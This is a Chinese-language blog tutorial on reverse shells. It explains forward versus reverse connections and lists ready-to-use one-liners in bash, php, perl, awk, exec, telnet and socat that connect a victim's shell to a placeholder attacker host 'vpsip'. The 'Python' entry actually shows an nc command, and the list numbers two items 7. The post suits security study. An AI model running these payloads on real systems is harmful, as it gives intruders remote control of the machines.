反弹shell

· 1121 words · 3 minute read

一.什么是反弹shell 🔗

反弹shell(reverse shell),就是控制端(攻击者所有)监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转发到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念上的客户端与服务端的角色反转。

简单理解:

正常情况下shell只能由主机的用户使用,但是反弹shell的目的则是将自己的shell反弹给别的主机,让别的主机可以通过shell来控制自己。

二.为什么需要反弹shell 🔗

反弹 shell 通常是在特定的网络环境下,当攻击者无法直接连接到目标主机时,通过让目标主机主动连接攻击者的机器来建立通信通道,从而实现对目标主机的控制。

这里我们要理解一下正向连接和反向连接

正向连接

通常情况下,攻击者 A 主动去连接目标机器 B。比如攻击者使用远程连接工具直接连接目标机器的开放端口,如通过 SSH 连接目标机器,如果目标机器开放了 SSH 服务并且攻击者知道用户名和密码,就可以从 A 主动连接到 B。

正向连接的问题在于,如果目标机器 B 有严格的防火墙规则,只允许特定的 IP 或端口连接,或者处于内网中,无法直接从外部访问,那么正向连接可能会失败。

反向连接

攻击者 A 在自己的机器上监听一个端口,比如 5555 端口。然后在目标机器 B 上执行特定的命令,让 B 主动连接 A 的 5555 端口。

反弹shell的方式有很多,那具体要用哪种方式还需要根据目标主机的环境来确定,比如目标主机上如果安装有netcat,那我们就可以利用netcat反弹shell,如果具有python环境,那我们可以利用python反弹shell。如果具有php环境,那我们可以利用php反弹shell。

三.常见反弹shell方式

1. Bash反弹shell

Attacker:nc -nvlp port

Victim:bash -c “bash -i >& /dev/tcp/vpsip/port 0>&1”

2. Python反弹shell

Attacker:nc -nvlp port

Victim:nc -e /bin/bash vpsip port

3. Php反弹shell

Attacker:nc -nvlp port

Victim:php -r ’exec("/usr/bin/bash -i >& /dev/tcp/vpsip/port 0>&1");'

或者:

Victim:php -r ‘$sock=fsockopen(“vpsip”,port);exec("/bin/bash -i <&3 >&3 2>&3");’

4. exec反弹

Attacker:nc -nvlp port

Victim:0<&196;exec 196<>/dev/tcp/vpsip/port; sh <&196 >&196 2>&196

5. perl反弹

Attacker:nc -nvlp port

Victim:perl -e ‘use Socket;$i=“vpsip”;$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’

6. awk反弹

Attacker:nc -nvlp port

Victim:awk ‘BEGIN{s="/inet/tcp/0/vpsip/port";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}’

7. telnet反弹

需要在攻击机上分别监听两个端口,执行反弹shell命令后,在port1终端输入命令,port2查看命令执行后的结果

Attacker:

nc -nvlp 4567		#输入命令
nc -nvlp 7654		#输出命令

Victim:telnet vpsip port1 | /bin/bash | telnet vpsip port2

7. socat反弹

Attacker:nc -nvlp port

Victim:socat exec:‘bash -li’,pty,stderr,setsid,sigint,sane tcp:vpsip:port

参考: [https://blog.csdn.net/SHELLCODE_8BIT/article/details/124023467] [https://blog.csdn.net/weixin_44288604/article/details/111740527]

comments powered by Disqus